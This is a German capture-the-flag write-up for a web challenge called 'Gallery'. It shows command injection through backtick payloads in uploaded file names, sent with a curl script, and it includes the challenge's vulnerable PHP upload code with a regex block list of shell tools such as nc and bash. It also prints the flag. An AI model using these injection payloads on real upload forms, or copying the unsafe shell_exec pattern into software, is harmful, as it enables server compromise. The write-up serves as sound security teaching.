Bei der “Gallery” – Challenge erhalten wir nur eine Webseite und müssen anschließend selbst heraus finden, wo und wie wir an die Flagge gelangen. Das direkte Aufrufen der URL liefert dieses Ergebnis:
Es handelt sich um eine Seite, auf der wir Bilder hochladen und – in einer Gallerie – speichern können. Sobald wir den Link zum Hochladen eines Bildes anklicken, erscheint das entsprechende Formular:
Wir werden darauf hingewiesen, dass nur Dateien mit den Endungen “.gif” und “.png” erlaubt sind. Es drängt sich die Frage auf, ob vielleicht auch andere Dateiendungen, zum Beispiel “.php”, hochgeladen werden können. Damit wäre es möglich, eigene Skripte und damit Kommandos auf dem Server auszuführen und die Flagge zu suchen.
Trotz aller Versuche, gelingt uns im besten Fall jedoch nur ein zusätzlicher Upload von Dateien mit der Endung “.jpg”. Alle anderen Dateitypen und “Content-Types” werden mit der Meldung “File corrupt!” quittiert. Wir müssen also einen anderen Weg finden.
Beim Testen von Dateinamen mit Sonderzeichen, fällt auf, dass Anführungszeichen zu einem merkwürdigen Verhalten führt. Die Dateinamen verschwinden teilweise oder kompless aus der Gallerie, was wie folgt zu beobachten ist:
Wir entwickeln daher ein kleines Bash-Skript, mit dem noch gezielter das Verhalten beim Ändern von Upload-Parametern getestet werden kann.
#!/bin/sh POST='file=@test.php;filename=test!"§$%&/()=.png;type=image/png' curl -L -b cookie -c cookie -F "$POST" "http://194.106.195.60:9280/upload_file.php" echo
Durch weitere Versuche mit diesem Skript finden wir heraus, dass sich im Dateinamen Konsolen-Kommandos absetzen lassen. Zum Beispiel durch die Wahl folgenden Dateinamens im Bash-Skript:
filename="`ls`".png;
Hier lässt sich das Kommando “ls” zum Auflisten von Verzeichnisinhalten ausführen. Das Ergebnis können wir in der Gallerie selbst beobachten:
Hier sehen wir direkt den Inhalt des Webverzeichnisses. Nun geht es daran, die Flagge zu finden! Weitere Versuche zeigen, dass die Kommandos jedoch teilweise in der Ausgabe auf 16 Zeichen pro Zeile begrenzt sind und einen Timeout für die Ausführung besitzen. Ein einfaches “cat *” funktioniert daher nicht.
Da wir jedoch das Format der Flagge kennen (nämlich 32 hexadezimale Zeichen), können wir mit “grep” einige Filterungen auf die Dateiinhalte unternehmen:
filename="`grep [a-f0-9]\{32\}`".png
Die Angabe dieses Dateinamens, der einen Filter auf das exakte Flaggenformat beinhaltet, liefert als Ergebnis folgenden Dateinamen:
Aha! Die Flagge befindet sich also in der Datei “picture” direkt im Verzeichnis des Webservers. Da die Ausgabe auf 16 Zeichen beschränkt ist, gelingt jedoch ein “cat picture” ebenfalls nicht. Der Umweg liegt im schrittweisen Auslesen der Datei mit dem Tool “dd”:
filename="`dd if=picture bs=1 count=10`".png filename="`dd if=picture bs=1 count=10 skip=10`".png filename="`dd if=picture bs=1 count=10 skip=20`".png filename="`dd if=picture bs=1 count=10 skip=30`".png
Anschließend können wir die Bestandteile der Flag einzeln in der Gallerie auslesen:
Die Lösung lautet somit: “c5e7b971c62296dcae64fb7fabf169c6“.
UPDATE (17.05.2013): Nach dem Wettkampf wurde der Quellcode veröffentlicht. Wer Interesse hat, kann sich zum Verständnis deshalb zusätzlich die “upload_file.php” ansehen:
<?php session_start(); $sid = session_id(); $tmpdir = sys_get_temp_dir(); $tmpfname = tempnam($tmpdir, "web"); $userdir = "uploads/$sid"; if (!is_dir($userdir)) { mkdir($userdir); } $ext = end(explode(".", $_FILES["file"]["name"])); $file = $_FILES["file"]; $name = $file["name"]; $file_name = substr($name, 0, strrpos($name, ".")); function get_ext($type){ if ($type == "image/gif") return "gif"; if ($type == "image/jpeg") return "jpeg"; if ($type == "image/jpg") return "jpg"; if ($type == "image/pjpeg") return "jpeg"; if ($type == "image/x-png") return "png"; if ($type == "image/png") return "png"; return ""; } function check_ext($ext, $type_ext){ $allowedExts = array("gif","jpeg", "jpg", "png"); return ($ext == $type_ext) && in_array($ext, $allowedExts); } $pattern1 = '/.*`(nc .*|python [a-zA-Z0-9]*|bash [a-zA-Z0-9]*|perl [a-zA-Z0-9]*|ruby [a-zA-Z0-9]*)`.*/'; $type_ext = get_ext($file["type"]); if (preg_match($pattern1,$file_name)) { echo "Command prohibited : nc; python; bash; perl; ruby;"; } else { if ( ($file["size"] < (1024*1024*3)) && check_ext($ext, $type_ext)) { if ($file["error"] > 0) { echo "Return Code: " . $file["error"] . "<br>"; } else { $c = strval(count(scandir($userdir))-2); move_uploaded_file($file["tmp_name"], $tmpfname); shell_exec("mv $tmpfname $userdir/$c-\"\$(echo $file_name | cut -c1-16)\".$ext"); header('Refresh: 1; URL=main.php'); } } else { echo "$file_name: File corrupt"; } } ?>